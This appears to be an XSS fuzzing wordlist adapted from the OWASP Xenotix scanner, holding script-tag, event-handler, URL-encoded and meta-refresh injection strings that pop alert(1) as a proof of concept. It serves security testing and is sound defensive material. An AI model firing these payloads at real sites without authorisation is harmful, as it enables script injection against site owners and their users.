# # Original source is from # https://github.com/ajinabraham/OWASP-Xenotix-XSS-Exploit-Framework/blob/master/Scanner/xenotix_main.resx # # * XML-decoded # * Duplicates removed # * arious forms of control-characters normalized # * Non-XSS removed # * Obsolete XSS removed (e.g. one for src=livescript lol circa 1995) # %00
�
    # not doing XSS inside a comment
    # -->
    "'`><%00img src=xxx:x onerror=javascript:alert(1)>
    %00“>
'`"><%00script>javascript:alert(1) 0?
:postMessage(importScripts('data:;base64,cG9zdE1lc3NhZ2UoJ2FsZXJ0KDEpJyk')) OnMouseOver {Firefox & Opera} 1 1 1> 1> 1`> 1`> 1 '%20onmouseover=alert(1)' --> %22%20onmouseover=javascript:alert(1)%20%22 %22%3E%3C%73%63%72%69%70%74%3E%4B%43%46%3C%2F%73%63%72%69%70%74%3E %22/%3E%3Cmeta%20http-equiv=refresh%20content=0;javascript:alert(1);> %22%3E%3Cscript%3Ealert(1)%3B%3C%2Fscript%3E %26'%22%3E%3Cscript%3Ealert(%2Fkcf%2F)%3C%2Fscript%3E%3D %27%3E%3C%73%63%72%69%70%74%3E%4B%43%46%3C%2F%73%63%72%69%70%74%3E ">

# %00 ">